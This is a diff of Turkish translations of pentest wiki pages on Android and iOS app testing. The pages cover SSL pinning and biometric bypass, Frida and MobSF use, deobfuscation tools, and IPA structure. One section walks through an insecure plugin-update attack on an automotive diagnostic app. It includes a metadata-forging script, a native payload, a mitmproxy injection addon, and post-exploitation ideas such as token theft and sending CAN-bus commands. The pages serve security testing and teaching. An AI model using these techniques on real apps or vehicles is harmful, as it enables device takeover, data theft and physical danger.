**Flutter** kullanılıyorsa, [**bu sayfadaki**](flutter.md) talimatları takip etmeniz gerekir. Bunun nedeni, sertifikayı depoya eklemenin işe yaramayacak olmasıdır, çünkü Flutter'ın kendi geçerli CA listesi vardır.
|
||||
|
||||
#### SSL Pinning'i Aşma
|
||||
#### SSL Pinning'i Atlatma
|
||||
|
||||
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu aşmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur:
|
||||
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlatmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur:
|
||||
|
||||
- **apk'yi otomatik olarak değiştirerek** SSLPinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi yanı, SSL Pinning'i aşmak için root'a ihtiyacınız olmamasıdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
|
||||
- Bu korumayı aşmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma kılavuzunuz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- **SSL Pinning'i otomatik olarak aşmak için** [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **MobSF dinamik analizi** kullanarak da **SSL Pinning'i otomatik olarak aşmayı** deneyebilirsiniz (aşağıda açıklanmıştır).
|
||||
- **apk'yi otomatik olarak değiştirerek** SSLPinning'i **atlatmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi yanı, SSL Pinning'i atlatmak için root'a ihtiyacınız olmamasıdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
|
||||
- Bu korumayı atlatmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma rehberiniz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- **SSL Pinning'i otomatik olarak atlatmayı** denemek için [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **MobSF dinamik analizi** kullanarak da **SSL Pinning'i otomatik olarak atlatmayı** deneyebilirsiniz (aşağıda açıklanmıştır).
|
||||
- Hala yakalamadığınız bazı trafiğin olduğunu düşünüyorsanız, trafiği **iptables kullanarak burp'a yönlendirmeyi** deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Yaygın Web Zayıflıklarını Arama
|
||||
@ -441,7 +441,7 @@ Android uygulamalarını pentest etmek istiyorsanız, Frida'yı nasıl kullanaca
|
||||
- Frida ile eylemler için bazı "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection, Frida kullanımını otomatikleştirmek için harika: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Burada bazı harika Frida betikleri bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını aşmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs))
|
||||
- Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını atlatmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Belleği Dökme - Fridump**
|
||||
|
||||
@ -456,13 +456,13 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Bu, ./dump klasöründeki belleği dökecektir ve orada şunlarla grep yapabilirsiniz:
|
||||
Bu, ./dump klasöründe belleği dökecektir ve burada şunlarla grep yapabilirsiniz:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Keystore'daki Hassas Veriler**
|
||||
|
||||
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** sakladığı için pentestler, bu verileri çalabilecek fiziksel erişime sahip birisi veya root kullanıcı olarak kontrol etmelidir.
|
||||
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** sakladığından, pentestlerin bunu root kullanıcı olarak kontrol etmesi gerekir; aksi takdirde, cihaza fiziksel erişimi olan birisi bu verileri çalabilir.
|
||||
|
||||
Bir uygulama verileri keystore'da saklasa bile, verilerin şifrelenmiş olması gerekir.
|
||||
|
||||
@ -472,7 +472,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Parmak İzi/Biyometrik Bypass**
|
||||
|
||||
Aşağıdaki Frida scriptini kullanarak, Android uygulamalarının **belirli hassas alanları korumak** amacıyla gerçekleştirebileceği **parmak izi kimlik doğrulamasını atlamak** mümkün olabilir:
|
||||
Aşağıdaki Frida script'ini kullanarak, Android uygulamalarının **belirli hassas alanları korumak** için gerçekleştirebileceği **parmak izi kimlik doğrulamasını atlamak** mümkün olabilir:
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
@ -533,14 +533,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
MobSF, **Android**(apk)**, IOS**(ipa) **ve Windows**(apx) uygulamalarını (_Windows uygulamaları, Windows ana bilgisayarında kurulu bir MobSF'den analiz edilmelidir_) analiz edebilir.\
|
||||
Ayrıca, bir **Android** veya **IOS** uygulamasının kaynak koduyla bir **ZIP** dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), bunu da analiz edebilecektir.
|
||||
|
||||
MobSF ayrıca **diff/karşılaştırma** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = <API anahtarınız>` `VT_UPLOAD = TRUE`). Ayrıca `VT_UPLOAD`'u `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**.
|
||||
MobSF ayrıca **diff/karşılaştırma** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekir: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Ayrıca `VT_UPLOAD`'u `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**.
|
||||
|
||||
### MobSF ile Yardımlı Dinamik Analiz
|
||||
|
||||
**MobSF**, **Android** için **dinamik analiz** konusunda da çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecek (bir VM veya Docker çalışmayacaktır). _Not: Öncelikle **genymotion'da bir VM başlatmalısınız** ve **sonra MobSF'yi başlatmalısınız**._\
|
||||
**MobSF**, **Android** için **dinamik analiz** konusunda da çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecektir (bir VM veya Docker çalışmaz). _Not: Öncelikle **genymotion'da bir VM başlatmalısınız** ve **sonra MobSF'yi başlatmalısınız**._\
|
||||
**MobSF dinamik analizörü** şunları yapabilir:
|
||||
|
||||
- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini elde etmek için "**Exported Activity Tester**" butonuna basmanız gerekir.
|
||||
- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**" butonuna basmanız gerekir.
|
||||
- **HTTPS trafiğini yakalama**
|
||||
- **Çalışma zamanı** **bilgilerini** elde etmek için **Frida** kullanma
|
||||
|
||||
@ -548,11 +548,11 @@ Android **sürümleri > 5**'ten itibaren, **Frida**'yı **otomatik olarak başla
|
||||
|
||||
**Frida**
|
||||
|
||||
Varsayılan olarak, SSL pinning, **root tespiti** ve **hata ayıklayıcı tespiti** atlamak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
|
||||
Varsayılan olarak, **SSL pinning**'i **bypass** etmek, **root tespiti** ve **hata ayıklayıcı tespiti** yapmak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
|
||||
MobSF ayrıca **dışa aktarılan etkinlikleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**.
|
||||
|
||||
Dinamik testi **başlatmak** için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen günlükleri görmek için "**Frida Live Logs**" butonuna basın ve bağlı yöntemlere yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" butonuna basın (bu, "Start Instrumentation" butonuna bastıktan sonra görünecektir).\
|
||||
MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize olanak tanır (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Ayrıca yükleyebileceğiniz **birçok önceden yazılmış script** vardır (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), sadece **seçin**, "**Load**" butonuna basın ve "**Start Instrumentation**" butonuna basın (bu script'lerin günlüklerini "**Frida Live Logs**" içinde görebileceksiniz).
|
||||
MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize olanak tanır (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Ayrıca yükleyebileceğiniz **birçok önceden yazılmış script** vardır (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), sadece **seçin**, "**Load**" butonuna basın ve "**Start Instrumentation**" butonuna basın (o script'lerin günlüklerini "**Frida Live Logs**" içinde görebileceksiniz).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -561,7 +561,7 @@ Ayrıca, bazı Yardımcı Frida işlevsellikleriniz var:
|
||||
- **Yüklenen Sınıfları Sayma**: Yüklenen tüm sınıfları yazdırır
|
||||
- **Dizeleri Yakalama**: Uygulamayı kullanırken yakalanan tüm dizeleri yazdırır (çok gürültülü)
|
||||
- **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun True veya False olup olmadığını **gösterir**.
|
||||
- **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") yazın ve sınıfın tüm yöntemlerini yazdırır.
|
||||
- **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdırır.
|
||||
- **Sınıf Deseni Arama**: Desene göre sınıfları arar
|
||||
- **Sınıf Yöntemlerini İzleme**: **Bütün bir sınıfı izler** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görün). Varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
|
||||
|
||||
@ -586,7 +586,7 @@ Bunu yapmak için, _Burp'ı açın -->_ _Intercept'i kapatın --> MobSB HTTP Ara
|
||||
MobSF ile dinamik analizi tamamladıktan sonra, **http isteklerini fuzzlamak** ve güvenlik açıklarını aramak için "**Web API Fuzzer'ı Başlat**" butonuna basabilirsiniz.
|
||||
|
||||
> [!TIP]
|
||||
> MobSF ile dinamik analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için:
|
||||
> MobSF ile dinamik bir analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
@ -605,7 +605,7 @@ Bu, **GUI ile statik analiz gerçekleştirmek için harika bir araçtır.**
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Bu araç, **kaynak kodunda** veya **paketlenmiş APK'larda** çeşitli **güvenlik ile ilgili Android uygulama açıklarını** aramak için tasarlanmıştır. Araç ayrıca, bulunan bazı güvenlik açıklarını (Açık aktiviteler, intentler, tapjacking...) istismar etmek için **"Proof-of-Concept" dağıtılabilir APK** ve **ADB komutları** oluşturma yeteneğine de sahiptir. Drozer ile olduğu gibi, test cihazını rootlamaya gerek yoktur.
|
||||
Bu araç, **kaynak kodunda** veya **paketlenmiş APK'larda** çeşitli **güvenlik ile ilgili Android uygulama açıklarını** aramak için tasarlanmıştır. Araç ayrıca, bulunan bazı güvenlik açıklarını (Açık aktiviteler, intentler, tapjacking...) istismar etmek için **"Proof-of-Concept" dağıtılabilir APK** ve **ADB komutları** oluşturma yeteneğine de sahiptir. Drozer ile olduğu gibi, test cihazını root etmenize gerek yoktur.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -625,7 +625,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER, Windows, MacOS X ve Linux'ta kullanılabilen bir komut satırı uygulamasıdır ve _.apk_ dosyalarını zafiyetler için analiz eder. Bunu, APK'ları sıkıştırmasını açarak ve bu zafiyetleri tespit etmek için bir dizi kural uygulayarak yapar.
|
||||
SUPER, Windows, MacOS X ve Linux'ta kullanılabilen bir komut satırı uygulamasıdır ve güvenlik açıklarını aramak için _.apk_ dosyalarını analiz eder. Bunu, APK'ları sıkıştırmasını açarak ve bu güvenlik açıklarını tespit etmek için bir dizi kural uygulayarak yapar.
|
||||
|
||||
Tüm kurallar `rules.json` dosyasında toplanmıştır ve her şirket veya testçi, ihtiyaç duydukları şeyleri analiz etmek için kendi kurallarını oluşturabilir.
|
||||
|
||||
@ -676,7 +676,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
- Regex kullanarak APK'dan özel bilgileri çıkarmak.
|
||||
- Manifest'i analiz etmek.
|
||||
- Bulunan alan adlarını analiz etmek için: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- APK'yi [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek
|
||||
- APK'yi [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek.
|
||||
|
||||
### Koodous
|
||||
|
||||
@ -701,12 +701,12 @@ APK'yi deşifre etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/dex
|
||||
- Bir kaynağı InputStream olarak yüklemek;
|
||||
- Sonucu deşifre etmek için FilterInputStream'den türetilmiş bir sınıfa beslemek;
|
||||
- Bir tersine mühendislik uzmanının birkaç dakikasını boşa harcamak için gereksiz obfuscation yapmak;
|
||||
- Deşifre edilmiş sonucu bir ZipInputStream'e besleyerek bir DEX dosyası almak;
|
||||
- Son olarak, `loadDex` yöntemi kullanarak elde edilen DEX'i bir Kaynak olarak yüklemek.
|
||||
- Deşifre edilmiş sonucu bir ZipInputStream'e beslemek ve bir DEX dosyası almak;
|
||||
- Son olarak, elde edilen DEX'i `loadDex` yöntemi kullanarak bir Kaynak olarak yüklemek.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard, Android obfuscation araçları tarafından gerçekleştirilen obfuscation sürecini tersine çevirir. Bu, kod incelemesi ve kütüphaneleri tahmin etme gibi birçok güvenlik analizini mümkün kılar.**
|
||||
**DeGuard, Android obfuscation araçları tarafından gerçekleştirilen obfuscation sürecini tersine çevirir. Bu, kod denetimi ve kütüphaneleri tahmin etme gibi birçok güvenlik analizini mümkün kılar.**
|
||||
|
||||
Obfuscate edilmiş bir APK'yı platformlarına yükleyebilirsiniz.
|
||||
|
||||
@ -716,7 +716,7 @@ Bu, Android uygulamalarındaki potansiyel güvenlik açıklarını bulmak ve And
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanallaştırarak çalıştırır** ve davranışını anlamaya çalışır, ardından **kodun optimize edilmesini** sağlar, böylece aynı şekilde davranır ancak bir insanın anlaması daha kolaydır. Her optimizasyon türü basit ve genel olduğundan, kullanılan obfuscation türü önemli değildir.
|
||||
Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanallaştırarak çalıştırır** ve davranışını anlamaya çalışır, ardından **kodun optimize edilmesini** sağlar, böylece aynı şekilde davranır ancak bir insanın anlaması daha kolaydır. Her optimizasyon türü basit ve genel olduğundan, kullanılan obfuscation türü ne olursa olsun önemli değildir.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
@ -724,7 +724,7 @@ APKiD, **bir APK'nın nasıl yapıldığını** size bildirir. Birçok **derleyi
|
||||
|
||||
### Manual
|
||||
|
||||
[Özel obfuscation'ı nasıl tersine çevireceğinizi öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md)
|
||||
[Özel obfuscation'ı tersine çevirme ile ilgili bazı ipuçlarını öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Birçok Android uygulaması, Google Play Store'u kullanmak yerine **kendi “plugin” veya “dinamik özellik” güncelleme kanallarını** uygular. Uygulama güvenli değilse, trafiği kesebilen bir saldırgan **uygulama sürecinde yüklenecek rastgele yerel kod sağlayabilir**, bu da cihazda tam Uzaktan Kod Yürütme (RCE) ile sonuçlanır – ve bazı durumlarda uygulama tarafından kontrol edilen herhangi bir dış cihazda (arabalar, IoT, tıbbi cihazlar …) da.
|
||||
Birçok Android uygulaması **Google Play Store** yerine **kendi “eklenti” veya “dinamik özellik” güncelleme kanallarını** uygular. Uygulama güvenli değilse, trafiği kesebilen bir saldırgan **uygulama sürecinde yüklenecek rastgele yerel kod sağlayabilir**, bu da cihazda tam Uzaktan Kod Yürütme (RCE) ile sonuçlanır – ve bazı durumlarda uygulama tarafından kontrol edilen herhangi bir dış cihazda (arabalar, IoT, tıbbi cihazlar …) da.
|
||||
|
||||
Bu sayfa, Xtool **AnyScan** otomotiv-diyagnostik uygulamasında (v4.40.11 → 4.40.40) bulunan gerçek bir güvenlik açığı zincirini özetlemekte ve tekniği genelleştirerek diğer Android uygulamalarını denetlemenizi ve bir kırmızı takım angajmanı sırasında yanlış yapılandırmayı silahlandırmanızı sağlamaktadır.
|
||||
|
||||
@ -29,7 +29,7 @@ iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on r
|
||||
```
|
||||
## 2. Güncelleme Meta Verilerini Tersine Mühendislik
|
||||
|
||||
AnyScan durumunda, her uygulama başlatıldığında bir HTTPS GET isteği tetiklenir:
|
||||
AnyScan durumunda her uygulama başlatıldığında bir HTTPS GET isteği tetiklenir:
|
||||
```
|
||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
```
|
||||
@ -55,7 +55,7 @@ def encrypt_metadata(plaintext: bytes) -> str:
|
||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||||
```
|
||||
## 3. Kötü Amaçlı Bir Eklenti Oluşturun
|
||||
## 3. Kötü Amaçlı Bir Eklenti Oluştur
|
||||
|
||||
1. Herhangi bir meşru eklenti ZIP'ini seçin ve yerel kütüphaneyi yüklemenizle değiştirin:
|
||||
```c
|
||||
@ -71,12 +71,12 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
|
||||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||
```
|
||||
2. JSON meta verisini güncelleyin, böylece `"FileName" : "PWNED.zip"` ve `"DownloadURL"` HTTP sunucunuza işaret etsin.
|
||||
3. Değiştirilen JSON'u DES ile şifreleyin + Base64 ile kodlayın ve kesilen XML'in içine geri kopyalayın.
|
||||
2. JSON meta verisini `"FileName" : "PWNED.zip"` olacak şekilde güncelleyin ve `"DownloadURL"`'nun HTTP sunucunuza işaret ettiğinden emin olun.
|
||||
3. Değiştirilen JSON'u DES ile şifreleyin + Base64 ile kodlayın ve bunu yakalanan XML'in içine geri kopyalayın.
|
||||
|
||||
## 4. Payload'u mitmproxy ile Gönderin
|
||||
|
||||
`addon.py` örneği, orijinal meta veriyi *sessizce* değiştiren:
|
||||
`addon.py` örneği, orijinal meta verileri *sessizce* değiştiren:
|
||||
```python
|
||||
from mitmproxy import http
|
||||
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||||
@ -99,19 +99,19 @@ When the victim launches the app it will:
|
||||
* `PWNED.zip` dosyasını indirir → özel depolama alanında açar;
|
||||
* `dlopen()` ile dahil edilen *libscan_x64.so* dosyasını çalıştırır, kodumuzu **uygulamanın izinleriyle** (kamera, GPS, Bluetooth, dosya sistemi, …) anında yürütür.
|
||||
|
||||
Eklenti diskte önbelleğe alındığı için arka kapı **yeniden başlatmalarda kalır** ve kullanıcı ilgili özelliği her seçtiğinde çalışır.
|
||||
Eklenti diskte önbelleğe alındığı için arka kapı **yeniden başlatmalarda kalıcıdır** ve kullanıcı ilgili özelliği her seçtiğinde çalışır.
|
||||
|
||||
## 5. Post-Exploitation Ideas
|
||||
|
||||
* Uygulama tarafından saklanan oturum çerezlerini, OAuth token'larını veya JWT'leri çalın.
|
||||
* İkinci aşama bir APK bırakın ve `pm install` ile sessizce yükleyin (uygulama zaten `REQUEST_INSTALL_PACKAGES` iznine sahip).
|
||||
* İkinci aşama bir APK bırakın ve `pm install` ile sessizce yükleyin (uygulama zaten `REQUEST_INSTALL_PACKAGES` iznine sahiptir).
|
||||
* Bağlı donanımı kötüye kullanın – AnyScan senaryosunda rastgele **OBD-II / CAN bus komutları** gönderebilirsiniz (kapıları açma, ABS'yi devre dışı bırakma, vb.).
|
||||
|
||||
---
|
||||
### Detection & Mitigation Checklist (blue team)
|
||||
|
||||
* Sertifika doğrulamasını devre dışı bırakan özel bir TrustManager/HostnameVerifier ile üretim sürümü asla göndermeyin.
|
||||
* Google Play dışından çalıştırılabilir kod indirmeyin. Eğer *zorundaysanız*, her eklentiyi aynı **apkSigning v2** anahtarı ile imzalayın ve yüklemeden önce imzayı doğrulayın.
|
||||
* Google Play dışından yürütülebilir kod indirmeyin. Eğer *zorundaysanız*, her eklentiyi aynı **apkSigning v2** anahtarı ile imzalayın ve yüklemeden önce imzayı doğrulayın.
|
||||
* Zayıf/hard-coded kriptografiyi **AES-GCM** ve sunucu tarafında dönen bir anahtarla değiştirin.
|
||||
* İndirilen arşivlerin bütünlüğünü doğrulayın (imza veya en azından SHA-256).
|
||||
|
||||
|
@ -47,7 +47,7 @@ IPA dosyasına otomatik Statik Analiz yapmak için [**MobSF**](https://github.co
|
||||
otool -hv <app-binary> | grep PIE # PIE bayrağını içermelidir
|
||||
```
|
||||
|
||||
- **Stack Canaries**: Yığın bütünlüğünü doğrulamak için, bir işlev çağrılmadan önce yığının üzerine bir ‘canary’ değeri yerleştirilir ve işlev sona erdiğinde tekrar doğrulanır.
|
||||
- **Stack Canaries**: Yığın bütünlüğünü doğrulamak için, bir işlev çağrılmadan önce yığında bir ‘canary’ değeri yerleştirilir ve işlev sona erdiğinde tekrar doğrulanır.
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep stack_chk # stack_chk_guard ve stack_chk_fail sembollerini içermelidir
|
||||
@ -137,7 +137,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) tarafından gerçekleştirilen dinamik analizi kontrol edin. Farklı görünümler arasında gezinmeniz ve onlarla etkileşimde bulunmanız gerekecek, ancak diğer şeyleri yaparken birkaç sınıfı hooklayacak ve işiniz bittiğinde bir rapor hazırlayacaktır.
|
||||
|
||||
### Yüklenen Uygulamaların Listesi
|
||||
### Yüklenen Uygulamaları Listeleme
|
||||
|
||||
Yüklenen uygulamaların **bundle identifier**'ını belirlemek için `frida-ps -Uai` komutunu kullanın:
|
||||
```bash
|
||||
@ -162,13 +162,13 @@ ios-hooking-with-objection.md
|
||||
|
||||
### IPA Yapısı
|
||||
|
||||
Bir **IPA dosyasının** yapısı esasen bir **ziplenmiş paket** yapısına sahiptir. Uzantısını `.zip` olarak yeniden adlandırarak, içeriğini **açabilirsiniz**. Bu yapının içinde, bir **Bundle**, kurulum için hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `<NAME>.app` adlı bir dizin bulacaksınız.
|
||||
Bir **IPA dosyasının** yapısı esasen bir **sıkıştırılmış paket** yapısına sahiptir. Uzantısını `.zip` olarak yeniden adlandırarak, içeriğini **açmak** mümkündür. Bu yapı içinde, bir **Bundle**, kurulum için hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `<NAME>.app` adında bir dizin bulacaksınız.
|
||||
|
||||
- **`Info.plist`**: Bu dosya, uygulamanın belirli yapılandırma ayrıntılarını tutar.
|
||||
- **`_CodeSignature/`**: Bu dizin, bundle içindeki tüm dosyaların bütünlüğünü sağlamak için bir imza içeren bir plist dosyası içerir.
|
||||
- **`Assets.car`**: İkonlar gibi varlık dosyalarını depolayan sıkıştırılmış bir arşivdir.
|
||||
- **`Frameworks/`**: Bu klasör, `.dylib` veya `.framework` dosyaları şeklinde olabilen uygulamanın yerel kütüphanelerini barındırır.
|
||||
- **`PlugIns/`**: Bu, uygulamaya eklemeler içerebilir, bunlar `.appex` dosyaları olarak bilinir, ancak her zaman mevcut olmayabilir. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve tek bir cihazda uygulamanıza geri alma işlevselliği eklemek için kullanılır. Birden fazla cihazda tek bir iCloud hesabında verileri senkronize etmek için, Core Data otomatik olarak şemanızı bir CloudKit konteynerine yansıtır.
|
||||
- **`PlugIns/`**: Bu, uygulamaya eklemeler içerebilir, bunlar `.appex` dosyaları olarak bilinir, ancak her zaman mevcut olmayabilir. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve tek bir cihazda uygulamanıza geri alma işlevselliği eklemek için kullanılır. Bir iCloud hesabındaki birden fazla cihaz arasında veri senkronizasyonu sağlamak için, Core Data otomatik olarak şemanızı bir CloudKit konteynerine yansıtır.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası, uygulamanızın veya bundle'ınızın türünü ve yaratıcısını belirtmenin alternatif bir yoludur.
|
||||
- **en.lproj, fr.proj, Base.lproj**: Bu, belirli diller için kaynakları içeren dil paketleridir ve bir dil desteklenmediğinde varsayılan bir kaynak içerir.
|
||||
- **Güvenlik**: `_CodeSignature/` dizini, dijital imzalar aracılığıyla tüm paketlenmiş dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar.
|
||||
@ -202,9 +202,9 @@ iOS ortamında, dizinler **sistem uygulamaları** ve **kullanıcı tarafından y
|
||||
> [!WARNING]
